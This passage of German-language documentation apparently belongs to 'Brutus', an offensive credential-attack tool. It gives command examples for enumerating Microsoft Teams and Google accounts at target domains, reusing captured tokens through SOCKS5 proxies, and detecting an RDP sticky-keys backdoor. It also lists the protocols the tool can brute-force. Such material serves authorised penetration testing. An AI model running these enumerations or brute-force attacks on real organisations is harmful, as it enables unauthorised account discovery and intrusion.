Sobald authentifiziert, enumerieren Sie Unternehmens-Teams-Benutzer anhand der E-Mail-Adresse. Jedes Ergebnis ist `exists`, `blocked` (der Mandant verbietet externe Suche, aber der Benutzer könnte existieren), `not found` oder `unknown` (Authentifizierungs-/Transportfehler). Persönliche/Live-Konten werden nicht unterstützt — nur Unternehmensmandanten.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]
# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000
# Enumerate emails from a file
brutus enum active teams users -E emails.txt
# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080
# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"
Wenn ein Refresh-Token verfügbar ist (über --token-file oder --refresh-token), wird ein abgelaufener Access-Token automatisch einmal verlängert; ansonsten wird ein 401 elegant zu einem unknown-Ergebnis herabgestuft.
Überprüfen Sie, ob E-Mail-Adressen Google-Konten zugeordnet sind, indem Sie zwei nicht authentifizierte Orakel verwenden — es ist kein Token oder Anmelden erforderlich:
workspace-sso).gmail).Jedes Ergebnis ist exists (mit der bestätigenden Methode und, bei SSO, dem IdP-Host) oder not found.```bash
brutus enum active google -e [email protected],[email protected]
brutus enum active google --domain target.com --format first.last --limit 5000
brutus enum active google -E emails.txt
brutus enum active google -E emails.txt --proxy socks5://127.0.0.1:1080 --threads 20
`--domain` verwendet denselben frequenzbasierten Generator für Vor- und Nachnamen wie
`enum generate`; `--format` wählt das Benutzernamen-Layout aus und `--limit` begrenzt
die Generierung auf die ersten N (wahrscheinlichsten) Kandidaten. `--domain` kann mit
`-e`/`-E` kombiniert werden.
---
## Bekannte Einschränkungen
### Heuristische Erkennung der Feststelltaste
- **Wechselnde Fehlalarme:** Die rein heuristische Erkennung (`brutus logon` ohne `--experimental-ai`) kann bei wiederholten Scans gegen dasselbe Ziel falsch-negative Ergebnisse liefern. Nach einer erfolgreichen Erkennung bleibt das cmd.exe-Fenster auf dem Server geöffnet. Nachfolgende Verbindungen sehen das cmd.exe im Basisrahmen, und da das fünfmalige Senden von Umschalt keine neues Fenster erzeugt, ist der Pixelunterschied minimal – was zu einem „sauberen“ Urteil führt. Dies betrifft nicht den Modus `--experimental-ai`, der die Vision-API-Analyse des Antwortrahmens direkt nutzt (kein Differenz zwischen Basis und Antwort) und das Terminalfenster unabhängig vom vorherigen Zustand zuverlässig identifiziert.
- **Workaround:** Verwenden Sie `--experimental-ai` mit gesetzter `ANTHROPIC_API_KEY` für eine konsistente Erkennung bei wiederholten Scans, oder lassen Sie zwischen den Scans eine Abkühlphase zu, damit die RDP-Sitzung zurückgesetzt wird.
### Browser-Plug-in
- Erfordert lokal installiertes Chrome/Chromium
- Der headless-Modus funktioniert möglicherweise nicht auf allen Systemen
- Einige JavaScript-lastige Anmeldeseiten erfordern möglicherweise zusätzliche Wartezeit
| Funktion | Hydra | Medusa | Ncrack | Brutus |
|---|
| Einzelne Binärdatei | ❌ | ❌ | ❌ | ✅ |
| Keine Abhängigkeiten | ❌ | ❌ | ❌ | ✅ |
| SOCKS5-Proxy | ✅ | ❌ | ❌ | ✅ |
| Nerva-Pipeline | ❌ | ❌ | ❌ | ✅ |
| Nmap/Masscan-Import | ❌ | ❌ | ❌ | ✅ |
| JSON-Streaming | ⚠️ | ❌ | ❌ | ✅ |
| Plattformübergreifend | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Einheitliche Fehler | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Aktive Entwicklung | ✅ | ⚠️ | ❌ | ✅ |
| Eingebettete Bad Keys | ❌ | ❌ | ❌ | ✅ |
| Go-Bibliotheksimport | ❌ | ❌ | ❌ | ✅ |
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|---|
| SSH | 22 | Passwort, Private Keys | Server, Netzwerkgeräte |
| FTP | 21 | Passwort | Dateiserver, NAS-Geräte |
| Telnet | 23 | Passwort | Legacy-Systeme, IoT-Geräte |
| VNC | 5900 | Passwort | Remote-Desktops |
| RDP | 3389 | NLA/CredSSP, Passwort | Windows-Server, Workstations |
| SNMP | 161 | Community-String | Netzwerkgeräte, Drucker |
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|---|
| SMB | 445 | Passwort, NTLM | Windows-Netzwerke, Dateifreigaben |
| LDAP | 389/636 | Bind DN | Active Directory, Identität |
| WinRM | 5985/5986 | NTLM | Windows-Remoteverwaltung |
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|---|
| MySQL | 3306 | Passwort | Webanwendungen |
| PostgreSQL | 5432 | Passwort | Moderne Anwendungen |
| MSSQL | 1433 | Passwort | Unternehmensanwendungen |
| MongoDB | 27017 | Passwort | NoSQL-Backends |
| Redis | 6379 | Passwort | Caching, Sitzungen |
| Neo4j | 7687 | Passwort | Graphdatenbanken |
| Cassandra | 9042 | Passwort | Verteilte Datenbanken |
| CouchDB | 5984 | HTTP Basic | Dokumentenspeicher |
| Elasticsearch | 9200 | HTTP Basic | Suchmaschinen |
| InfluxDB | 8086 | HTTP Basic | Zeitreihendaten |
| Oracle | 1521 | Passwort | Unternehmensdatenbanken |
| Protokoll | Port | Authentifizierungsmethoden | Anwendungsfall |
|---|
| SMTP | 25/587 | Passwort | Mail-Relay |
| IMAP | 143/993 | Passwort | Postfachzugriff |
| POP3 | 110/995 | Passwort | Postfachzugriff |